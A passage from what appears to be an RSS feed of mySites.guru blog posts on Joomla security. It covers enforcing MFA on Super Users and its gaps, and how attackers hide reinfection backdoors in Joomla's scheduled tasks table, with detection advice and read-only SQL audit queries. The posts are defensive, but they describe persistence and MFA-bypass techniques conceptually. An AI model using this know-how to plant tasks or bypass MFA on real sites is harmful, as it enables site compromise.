&lt;p&gt;Passwords fail in ordinary ways that have nothing to do with how strong they are. One reused on a forum that later gets breached turns up in a credential-stuffing list, and bots work those lists against &lt;code&gt;/administrator&lt;/code&gt; login forms continuously, without anyone deciding to target you. A &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;user enumeration bug in an extension&lt;/a&gt; supplies the usernames to try. A &lt;a href=&quot;https://mysites.guru/tools/user-accounts/inactive-user-accounts/&quot;&gt;dormant account no one has used in six months&lt;/a&gt; is still a valid login.&lt;/p&gt;
&lt;h2&gt;Does forcing MFA on Joomla Super Users change anything?&lt;/h2&gt;
&lt;p&gt;It does, measurably. Split the monitored Joomla sites by whether the setting is on, then count how many still have at least one Super User with no second factor enrolled:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;96.2%&lt;/div&gt;&lt;div&gt;of sites that do not enforce MFA have a password-only Super User&lt;/div&gt;&lt;div&gt;the default outcome&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;34.0%&lt;/div&gt;&lt;div&gt;of sites that do enforce it have one&lt;/div&gt;&lt;div&gt;and they enrol at their next login&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Same window and method. Enforcement is the difference between the two columns.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;It does not reach zero, for a mechanical reason rather than a disappointing one. Joomla prompts an account to enrol when it next logs in, so a Super User who has not signed in since you saved the setting still reads as un-enrolled. That remaining third is a queue of accounts waiting for their owners to turn up.&lt;/p&gt;
&lt;p&gt;That has a use when auditing a portfolio. A site that enforces MFA and still shows several un-enrolled Super Users is telling you those accounts have not been logged into since, which is usually the moment to ask whether they should exist at all.&lt;/p&gt;
&lt;h2&gt;What to do on the Joomla 5 sites that cannot enforce it&lt;/h2&gt;
&lt;p&gt;Seven in ten monitored Joomla sites are on a version where this option does not exist, so “switch it on everywhere” is not a plan on its own. Three things do work today:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enforce MFA on the groups Joomla will let you select. Administrator and Manager have been available since 4.2, and on most client sites those accounts can do enough damage to be worth protecting.&lt;/li&gt;
&lt;li&gt;Enrol the Super Users by hand and then watch the state, rather than trusting that it stayed done. mySites.guru counts Super User accounts with no MFA method at each snapshot, which is the part that is still true after a staff change.&lt;/li&gt;
&lt;li&gt;Treat it as one more reason the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-end-of-support-dates/&quot;&gt;move off Joomla 5&lt;/a&gt; has a date attached. Joomla 5 leaves bugfix support in October 2026, and this is a security control that is only ever going to exist on the newer branch.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What forced MFA still does not cover&lt;/h2&gt;
&lt;p&gt;Enforcement is worth having, and there are routes into an administrator account that go around it. These are in Joomla’s own source rather than in anyone’s threat model.&lt;/p&gt;
&lt;p&gt;Silent logins skip it by default. “Multi-factor Authentication after silent login” defaults to off, and the silent response types default to &lt;code&gt;cookie, passwordless&lt;/code&gt;, so a Remember Me cookie or a passkey login goes straight in without an MFA challenge. If you want the second factor on all of them, that switch needs turning on, and it sits on the same tab you were just in.&lt;/p&gt;
&lt;p&gt;API tokens and the CLI never see it. Joomla’s MFA handler is used by the site and administrator applications only, and the core documentation for it says an application designed to work non-interactively “MUST NOT use this trait”. A Super User’s API token is therefore a password-free route into the site that enforcement does not touch. If you use Joomla’s Web Services, the tokens deserve the same attention as the logins, and if you do not, &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-the-joomla-api-webservices/&quot;&gt;switch the Joomla API off&lt;/a&gt; and the route disappears.&lt;/p&gt;
&lt;p&gt;Backup codes alone do not count. Joomla treats an account whose only method is backup codes as having no MFA at all, which is correct and also means an account can look enrolled to a person and un-enrolled to the system.&lt;/p&gt;
&lt;h2&gt;Rolling it out without a lockout queue&lt;/h2&gt;
&lt;p&gt;Flipping the setting is the easy half. The half that decides whether your Monday is quiet is people, and no toggle covers that.&lt;/p&gt;
&lt;p&gt;Worth doing before you turn it on anywhere:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Work out who the Super Users are first. Most sites have more of them than the person paying the invoice expects: an old developer, an agency handover account, a vendor’s support login. &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;Finding rogue admin accounts across every Joomla site you manage&lt;/a&gt; covers the search, and enforcing MFA on an account no one recognises is worse than deleting it.&lt;/li&gt;
&lt;li&gt;Tell people the day before rather than the morning of. The enrolment prompt is not self-explanatory to someone who has never seen it, and the support call it generates is entirely avoidable.&lt;/li&gt;
&lt;li&gt;Make everyone save their backup codes while they are enrolling, because that is the only moment anyone ever will, and on a Super User account it is the difference between a five-minute problem and a database edit.&lt;/li&gt;
&lt;li&gt;Keep the recovery path in mind before you need it. Joomla only lets a Super User’s MFA methods be deleted by that same user, so a second Super User cannot rescue the first. Backup codes, or &lt;code&gt;DELETE&lt;/code&gt; from the user MFA table, are the whole list.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;Remove the account, do not exempt it&lt;/p&gt;&lt;div&gt;&lt;p&gt;The temptation on rollout is to leave one account out of the enforced group so there is always a way in. That account then becomes the one an attacker wants, and it will be the one with the oldest password. If an account cannot hold a second factor, it should not hold Super User rights.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;MFA enforcement is not a substitute for patching Joomla&lt;/h2&gt;
&lt;p&gt;Enforcing MFA assumes the implementation underneath it is sound, and four times this year it was not. Joomla fixed &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48896&quot;&gt;CVE-2026-48896&lt;/a&gt; and &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48897&quot;&gt;CVE-2026-48897&lt;/a&gt;, both MFA authentication bypasses, in 5.4.6 and 6.1.1, and &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-73337&quot;&gt;CVE-2026-73337&lt;/a&gt;, another one, in 5.4.8 and 6.1.3. Those three were insufficient checks in the same area of the captive-page logic. The fourth, &lt;a href=&quot;https://developer.joomla.org/security-centre/1094-20260914-core-mfa-authentication-bypass-through-rememberme-cookies.html&quot;&gt;CVE-2026-92227&lt;/a&gt;, fixed in 5.4.9 and 6.1.4, was different: on front-end logins the Remember Me cookie was issued before MFA was completed, so an attacker who already had the password could tick Remember Me, walk away from the MFA prompt and return later logged in by cookie. It is covered in the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/&quot;&gt;Joomla 5.4.9 and 6.1.4 security release&lt;/a&gt;. The &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;patch order for those ten CVEs&lt;/a&gt; is worth reading if you are running either branch behind.&lt;/p&gt;
&lt;p&gt;The rest of the login path matters on the same terms. Enforced MFA sits alongside &lt;a href=&quot;https://mysites.guru/tools/user-accounts/super-admin-username/&quot;&gt;not shipping a Super User called admin&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/shared-site-and-admin-sessions/&quot;&gt;keeping the administrator session separate from the front end&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/plain-text-password-emails/&quot;&gt;not emailing people their passwords in plain text&lt;/a&gt;. Each closes a different part of the same route, and a stolen session cookie does not care how you logged in originally.&lt;/p&gt;
&lt;h2&gt;Checking it is still enforced next month&lt;/h2&gt;
&lt;p&gt;Settings drift. A restore from a backup taken before the rollout, a hand-edited configuration, a site rebuilt by someone else: any of those undoes the work with no warning, and Joomla says nothing about it.&lt;/p&gt;
&lt;p&gt;That is the argument for reading the setting on a schedule rather than trusting a finished checklist. Because the check runs at each snapshot, a setting that comes back off changes state on the all-sites page the same week, rather than waiting for someone to notice at the next annual review. The &lt;a href=&quot;https://mysites.guru/tools/&quot;&gt;full list of checks&lt;/a&gt; shows what else is read in the same pass.&lt;/p&gt;
&lt;p&gt;The wider pattern is the one the numbers keep making. Across every optional security setting we measure, adoption sits somewhere between rare and almost non-existent, which is the subject of &lt;a href=&quot;https://mysites.guru/blog/what-site-audits-reveal-about-joomla-and-wordpress-security/&quot;&gt;what site audits reveal about Joomla and WordPress security&lt;/a&gt;. Forced MFA on Super Users spent three and a half years as a setting that looked optional and was actually unavailable. Now that it is real, it is the cheapest thing on that list to fix.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>best practice</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/force-mfa-on-joomla-super-users-across-every-site.png" length="0" type="image/png"/></item><item><title>A Backdoor Hides in Joomla&apos;s Scheduled Tasks Table</title><link>https://mysites.guru/blog/joomla-scheduled-tasks-backdoor/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-scheduled-tasks-backdoor/</guid><description>Joomla has run its own scheduler since 4.1. A task planted in that table has to look legitimate to run at all, which is why the task list never gives it away.</description><pubDate>Tue, 15 Sep 2026 17:54:49 GMT</pubDate><content:encoded>&lt;p&gt;A Joomla site &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;keeps reinfecting&lt;/a&gt;. You have cleaned the files twice, you have been through every crontab on the server, and because you are thorough you have also opened System, then Scheduled Tasks in the Joomla administrator. Three tasks, all of them ordinary, all of them yours.&lt;/p&gt;
&lt;p&gt;The list can look exactly like that and still be wrong, because Joomla’s Scheduled Tasks screen does not show you every row in the table. Its filter defaults to Hide Orphaned, and an orphaned task is one whose routine no installed, enabled plugin advertises. That describes a harmless leftover from an extension you uninstalled last year. It also describes a planted task whose author removed the extension behind it afterwards. Joomla applies the same test to both and drops them out of the list without telling you.&lt;/p&gt;
&lt;p&gt;A scheduled task is an instruction Joomla will act on, and it comes in two parts that live in different places. The routine is code, implemented by a plugin, sitting on disk. The task is a row in the database naming that routine and saying when to run it. Joomla joins the two during an ordinary page request: &lt;code&gt;Task::run()&lt;/code&gt; looks the routine up, and if no enabled plugin advertises it the task is skipped with exit code 127 and rescheduled for next time.&lt;/p&gt;
&lt;p&gt;An attacker who wants a site to repair itself needs both, and after that the site does the work for them. A task plugin that rewrites their files, plus a row that runs it every few minutes, and a cleaned site re-drops its own malware the next time anybody loads a page. We measured that pattern running for five months on a WordPress site, where the equivalent was 88 rows of &lt;code&gt;wp_options&lt;/code&gt; holding the malware’s own source, a manifest of every path it owned, and &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;a scheduled event on a 600 second interval&lt;/a&gt; that rewrote anything on the manifest that had gone missing. Deleted files were back in seconds.&lt;/p&gt;
&lt;p&gt;Those two parts are also why the table is worth reading after a cleanup. Remove the plugin and the row stops firing, because Joomla checks that the routine resolves before it runs anything. What the row does not do is disappear. It stays in the table as a record that something scheduled work on this site, and at that point Joomla stops listing it.&lt;/p&gt;
&lt;h2&gt;What Joomla’s task scheduler actually is&lt;/h2&gt;
&lt;p&gt;Joomla gained a scheduler of its own in &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-4-1-0-stable-new-standards-in-accessible-website-design.html&quot;&gt;Joomla 4.1.0, released on 15 February 2022&lt;/a&gt;. It exists so that site maintenance, update checks, log rotation and privacy consent expiry can run without anybody having to configure a real cron job on the server.&lt;/p&gt;
&lt;p&gt;A task is one row in a table called &lt;code&gt;#__scheduler_tasks&lt;/code&gt;. The row names a &lt;strong&gt;routine&lt;/strong&gt;, in a column Joomla’s own schema comments as the “unique identifier for job defined by plugin”:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; id, title, &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;state&lt;/span&gt;&lt;span&gt;, created, created_by, next_execution&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; jos_scheduler_tasks&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; id;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;type&lt;/code&gt; column holds the routine id. Everything else in the row is scheduling detail, a title, some JSON parameters and the usual Joomla bookkeeping. The routine is the only part that decides what code runs, and it is chosen by whoever wrote the extension, not by whoever created the task.&lt;/p&gt;
&lt;p&gt;Core Joomla ships nine task plugins, all enabled on a fresh install, and between them they advertise eleven routine ids. They are worth seeing, because they set the shape of a legitimate one:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;checkfiles.imagesize&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;delete.actionlogs&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;privacy.consent&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;rotation.logs&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;session.gc&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;update.notification&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;plg_task_globalcheckin_task_get&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;plg_task_requests_task_get&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;plg_task_toggle_offline&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;plg_task_toggle_offline_set_online&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;plg_task_toggle_offline_set_offline&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two naming conventions, no consistency between them, and not a digit anywhere in any of the eleven. Both of those facts come back when you have to judge an unfamiliar id.&lt;/p&gt;
&lt;h2&gt;How does Joomla decide when to run a scheduled task?&lt;/h2&gt;
&lt;p&gt;By default, when a visitor loads a page. Joomla offers three triggers and the one it picks out of the box is the loosest of them.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Lazy Scheduler&lt;/strong&gt; is on by default: a due task fires during an ordinary front-end request from an ordinary visitor. You configure nothing on the server, the server has no way to show it to you, and on a site with traffic the interval you set is a ceiling rather than a timetable. &lt;strong&gt;Web Cron&lt;/strong&gt; is off by default and exposes a hash-protected URL an external service can hit. The &lt;strong&gt;CLI runner&lt;/strong&gt;, &lt;code&gt;php cli/joomla.php scheduler:run&lt;/code&gt; driven by a real cron job, is the option you want on any site that matters, and it is the one most sites leave switched off.&lt;/p&gt;
&lt;p&gt;That default is why this table is worth an attacker’s time. A row plus a routine gets code running on a schedule with no shell access, no crontab entry, no unusual file permissions, and no dependency on the site being busy enough to matter, because a single page view will do.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;A row in a table is not a file&lt;/p&gt;&lt;div&gt;&lt;p&gt;A file scanner reads files, so it never sees this, and &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;both of the file tools here&lt;/a&gt; work on that same half of the problem. A crontab audit reads crontabs, so &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;it never sees this either&lt;/a&gt;. Neither of them reads memory, which is &lt;a href=&quot;https://mysites.guru/blog/processes-running-deleted-code/&quot;&gt;where a third kind of reinfection lives&lt;/a&gt;. Every instrument is working correctly and every one has nothing to say, which is a harder failure to spot than a broken tool.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;A malicious Joomla task has to look legitimate to run at all&lt;/h2&gt;
&lt;p&gt;That routine check at the top of &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/6.3-dev/administrator/components/com_scheduler/src/Task/Task.php&quot;&gt;&lt;code&gt;Task::run()&lt;/code&gt;&lt;/a&gt; sets the shape of every working attack on this table. A routine no enabled plugin advertises is skipped, so an attacker who wants their task to fire has to satisfy the same test a genuine extension does.&lt;/p&gt;
&lt;p&gt;In practice that means shipping the plugin. A task plugin advertising a routine, plus a row that names it, and the site runs their code on a schedule like any other maintenance job. The row that results is not malformed, not orphaned and not hidden. It sits in System, then Scheduled Tasks under a title its author chose, next to the update checks and the session cleanup, and its position in that list says nothing to separate it from them.&lt;/p&gt;
&lt;p&gt;That is the backdoor worth worrying about here, and it hides in plain sight rather than behind anything. The title is whatever they typed, the schedule is unremarkable, and the only part that gives it away is the routine. Reading that means asking which installed extension owns it, which is the one question the list does not answer for you. On a site you already suspect, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;the file side of the same question&lt;/a&gt; is worth running alongside it.&lt;/p&gt;
&lt;h2&gt;Joomla hides an orphaned task from you by default&lt;/h2&gt;
&lt;p&gt;The other half of this is what Joomla does with a row whose routine has stopped resolving.&lt;/p&gt;
&lt;p&gt;It does not fail loudly and it does not tidy up. &lt;code&gt;Task::run()&lt;/code&gt; records exit code 127, &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/6.3-dev/administrator/components/com_scheduler/src/Task/Status.php&quot;&gt;defined in core as &lt;code&gt;Status::NO_ROUTINE&lt;/code&gt;&lt;/a&gt;, skips the execution, fires an &lt;code&gt;onTaskRoutineNotFound&lt;/code&gt; event and reschedules the task for next time. The row stays where it is, and it will not run again for as long as nothing advertises its routine.&lt;/p&gt;
&lt;p&gt;The administrator list then hides it. In &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/6.3-dev/administrator/components/com_scheduler/forms/filter_tasks.xml&quot;&gt;&lt;code&gt;administrator/components/com_scheduler/forms/filter_tasks.xml&lt;/code&gt;&lt;/a&gt; the orphaned filter is declared &lt;code&gt;default=&quot;-1&quot;&lt;/code&gt;, and &lt;code&gt;-1&lt;/code&gt; is the Hide Orphaned option. &lt;code&gt;TasksModel&lt;/code&gt; turns that default into a &lt;code&gt;WHERE type IN (...)&lt;/code&gt; clause built from the routines your enabled plugins currently advertise, so any row naming anything else is excluded from the query before the list is drawn.&lt;/p&gt;
&lt;p&gt;The scheduler itself does the opposite. When it collects candidates to run it sets that same filter to include orphaned rows, picks them up, and rejects each one at the routine check.&lt;/p&gt;
&lt;p&gt;So an orphaned task is inert, and that is what makes it worth reading. It is the record of a task plugin that was installed on this site and is not installed now. On a site you have just cleaned, that is the shape of the thing you removed, written down in a table that rarely gets opened. On a site that has had no incident, it is more likely to be an extension you uninstalled last year.&lt;/p&gt;
&lt;p&gt;The filter is sensible on its own terms, and most orphaned rows are exactly that: an extension is removed, its task plugin goes with it, and the row it created stays behind with nothing left to run it. Hiding those keeps a maintenance screen readable. The side effect is that the one place an administrator would go to look is filtered by a rule the screen never mentions, and it is least helpful in the hour after a cleanup, when a row that has stopped resolving is the most interesting thing in the table.&lt;/p&gt;
&lt;h2&gt;The core bugs that let somebody else write your schedule&lt;/h2&gt;
&lt;p&gt;Joomla has published two security advisories touching &lt;code&gt;com_scheduler&lt;/code&gt;. The 2026 one reaches further than its rating suggests.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48900&quot;&gt;CVE-2026-48900&lt;/a&gt; is an improper access check that “allowed low privileged users to edit the task types of existing scheduler tasks”, in the words of &lt;a href=&quot;https://developer.joomla.org/security-centre/1048-20260516-core-incorrect-access-control-in-com-scheduler.html&quot;&gt;the Joomla Security Centre advisory&lt;/a&gt;. Editing a task type means changing the routine an existing schedule runs. Reported by Federico Brasili on 29 April 2026 and fixed on 26 May 2026 in &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1&lt;/a&gt;, it affects every release from 4.1.0 to 5.4.5 and from 6.0.0 to 6.1.0.&lt;/p&gt;
&lt;p&gt;It was rated Low, and as a standalone bug that is right: you need an account first. Set it beside the mechanism in this post and it supplies the missing step. A user with a modest login could repoint an existing, unremarkable, already-scheduled task without writing a row to the database at all.&lt;/p&gt;
&lt;p&gt;The earlier one, &lt;a href=&quot;https://developer.joomla.org/security-centre/958-20250201-core-sql-injection-vulnerability-in-scheduled-tasks-component.html&quot;&gt;CVE-2025-22207&lt;/a&gt;, was SQL injection through improperly built &lt;code&gt;ORDER BY&lt;/code&gt; clauses in the backend task list, reported by Calum Hutton of Snyk and fixed in 4.4.11 and 5.2.4. Different flaw, same component, and a reminder that the screen you go to for reassurance has had its own problems.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23.7%&lt;/div&gt;&lt;div&gt;of the Joomla sites connected to mySites.guru have no scheduler table at all&lt;/div&gt;&lt;div&gt;Joomla 3 and 4.0, where #__scheduler_tasks was never created&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;12.3%&lt;/div&gt;&lt;div&gt;of the rest still run a version vulnerable to CVE-2026-48900&lt;/div&gt;&lt;div&gt;Joomla 4.4 is end of life, so those sites never get the fix&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;127&lt;/div&gt;&lt;div&gt;the exit code Joomla records against a task whose routine it cannot find&lt;/div&gt;&lt;div&gt;Status::NO_ROUTINE. Skipped and rescheduled, never deleted&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Version data measured across the Joomla sites connected to mySites.guru on 15 September 2026.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Nearly a quarter of the Joomla sites we see have nothing to check here, because &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/joomla-3-end-of-life/&quot;&gt;Joomla 3 is long past end of life&lt;/a&gt; and never had a scheduler. Of the sites that do have one, roughly one in eight still runs a version where a low privileged account can repoint a task.&lt;/p&gt;
&lt;h2&gt;What makes a Joomla scheduled task malicious rather than unfamiliar&lt;/h2&gt;
&lt;p&gt;mySites.guru reads every row in the scheduler on &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;every snapshot, which happens twice a day&lt;/a&gt;, and judges each task by the routine it names. The tells that mark one malicious are all about that routine:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;It names no routine at all&lt;/dt&gt;&lt;dd&gt;No plugin can advertise an empty routine id, so the row is malformed however it got there.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;No installed, enabled plugin advertises that routine&lt;/dt&gt;&lt;dd&gt;Nothing on the site can run it. Either the extension that created it is gone, or something that was not an extension wrote the row directly. This is the same test Joomla&apos;s own Hide Orphaned filter uses, read the other way round.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;The routine name contains a word associated with malware&lt;/dt&gt;&lt;dd&gt;Matched as a whole token, never as a substring, so an extension advertising something like sql.execute is left alone instead of being flagged on its first four letters.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;The routine name has the shape of a generated string&lt;/dt&gt;&lt;dd&gt;A leading or trailing underscore, a digit welded to a letter on the routine half of a dotted id, or twelve characters with no separator anywhere. This one is advisory, reported on its own, and never marks a site as hacked.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;There is no rule about how often a task runs, and it was left out on purpose. One was built and measured, and an entirely ordinary backup extension turned out to schedule itself every sixty seconds. A short-interval rule would have fired on a large share of entirely healthy sites while catching no attacks, so it was deleted before it ever shipped.&lt;/p&gt;
&lt;p&gt;A rule about &lt;code&gt;created_by&lt;/code&gt; went the same way. The idea was that a task created by user 0 well after the site was installed deserves suspicion. On a real site running three commercial extensions, five of its eight legitimate tasks had &lt;code&gt;created_by&lt;/code&gt; set to 0, because an installer has no logged-in user to attribute a row to. The rule fired on 62% of the tasks on an uninfected site and was removed.&lt;/p&gt;
&lt;h2&gt;Why is the routine the only thing worth matching?&lt;/h2&gt;
&lt;p&gt;Because the title is free text in the site owner’s own language, and Joomla ignores it.&lt;/p&gt;
&lt;p&gt;A task called “Nightly backup” is called that because somebody typed it. It can say anything, in any language, and naming a planted row “System Maintenance” costs an attacker nothing. Matching on titles would break on every site that is not in English and would be trivial to dress up.&lt;/p&gt;
&lt;p&gt;The routine is different. It is a machine-readable id that has to exist in a plugin’s &lt;code&gt;TASKS_MAP&lt;/code&gt; constant for Joomla to run it at all, it lives in no database column of its own, and it cannot be guessed from the plugin’s name. Core’s &lt;code&gt;rotatelogs&lt;/code&gt; plugin advertises &lt;code&gt;rotation.logs&lt;/code&gt;, &lt;code&gt;sessiongc&lt;/code&gt; advertises &lt;code&gt;session.gc&lt;/code&gt;, and &lt;code&gt;sitestatus&lt;/code&gt; advertises three ids that all begin &lt;code&gt;plg_task_toggle_offline&lt;/code&gt;. Any mapping inferred from the element name instead of read from the site would report a legitimate third-party routine as unregistered on every site running that extension.&lt;/p&gt;
&lt;p&gt;So the list of valid routines has to come from the site’s own plugin layer, which has a consequence. If that read fails, for any of the ordinary reasons a Joomla plugin group fails to import, then the strongest of the three tests is switched off for that read instead of being applied to an empty list. An empty list of known routines would otherwise mark every task on the site as malicious. “We could not look” and “there is nothing there” are different answers, and only one of them deserves a green tick.&lt;/p&gt;
&lt;h2&gt;How do I check a Joomla scheduler by hand?&lt;/h2&gt;
&lt;p&gt;The administrator screen will do it once you change one filter. The database will do it with no filter at all.&lt;/p&gt;
&lt;p&gt;In the administrator, open System, then Scheduled Tasks, then change the Show Orphaned filter from its default to Show Orphaned. Skip that and you are reading a list Joomla has already filtered for you, using the test described above. Once orphaned rows are visible, look at the routine on each one, not the title, and ask which installed extension owns it. If the answer is that something planted it, &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;the wider cleanup&lt;/a&gt; starts there.&lt;/p&gt;
&lt;p&gt;Better, read the table directly and skip the filtering entirely:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; id, title, &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;state&lt;/span&gt;&lt;span&gt;, created, created_by, last_exit_code, next_execution&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; jos_scheduler_tasks&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; created &lt;/span&gt;&lt;span&gt;DESC&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Change &lt;code&gt;jos_&lt;/code&gt; to whatever &lt;a href=&quot;https://mysites.guru/tools/database-integrity/default-database-prefix/&quot;&gt;your own table prefix&lt;/a&gt; is, and if you are in the database anyway then &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;the rest of the Joomla database is worth a look&lt;/a&gt; while you are there. Sorting by &lt;code&gt;created&lt;/code&gt; descending puts anything recent at the top, which is where a planted row tends to be. A &lt;code&gt;last_exit_code&lt;/code&gt; of 127 on a row is Joomla telling you it has been trying to run something it cannot find. A &lt;code&gt;locked&lt;/code&gt; column with a date in it is a different problem living in the same table, and &lt;a href=&quot;https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/&quot;&gt;a task stuck locked after a crash&lt;/a&gt; will never run again until somebody clears it.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Remove the task before you clean the files&lt;/p&gt;&lt;div&gt;&lt;p&gt;In that order, every time. Clean the files while the row is still scheduled and the next visitor to the site puts them back, which is how sites reinfect within minutes of a cleanup that looked successful. A backup restore does not settle it either, because the restore replaces the database too and brings the row back with it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What mySites.guru does about it&lt;/h2&gt;
&lt;p&gt;The scheduler read runs on every snapshot, twice a day, on every connected Joomla site running 4.1.0 or newer. It sits in the Hacked panel on a site’s audit page, next to &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/malicious-cron-jobs/&quot;&gt;the check that reads the server’s own crontabs&lt;/a&gt;, which is the layer below it and has never been able to reach this one. The &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/malicious-joomla-scheduled-tasks/&quot;&gt;full description of the check&lt;/a&gt; covers the classification in more detail.&lt;/p&gt;
&lt;p&gt;The row below it in the screenshot, &lt;a href=&quot;https://mysites.guru/blog/processes-running-deleted-code/&quot;&gt;Processes Running Deleted Code&lt;/a&gt;, is the newest member of the same family and the one that covers reinfection driven by nothing scheduled at all. Its grey No Data badge there is the honest answer on a server that would not let us read its process list.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-hacked-panel-scheduled-tasks.DANu04Fs_Z2tUKsw.webp&quot; alt=&quot;The Hacked ? panel on a Joomla site in mySites.guru, with eight rows: JCE Rogue Profiles, Rogue Super Admin Accounts showing a red HACKED! badge, Helix3 Custom Code Hack, SP Page Builder Rogue Icon-Font Assets, Helix Ultimate Mega Menu Hack, Check For Malicious Cron Jobs, Check For Malicious Scheduled Tasks showing a green OK, and Processes Running Deleted Code showing No Data. Each row has Learn and Investigate buttons&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;412&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The scheduled tasks row sits directly below the cron jobs row, which is the layer it was built to cover. This site is flagged hacked on a different check entirely.&lt;/figcaption&gt;&lt;/figure&gt;
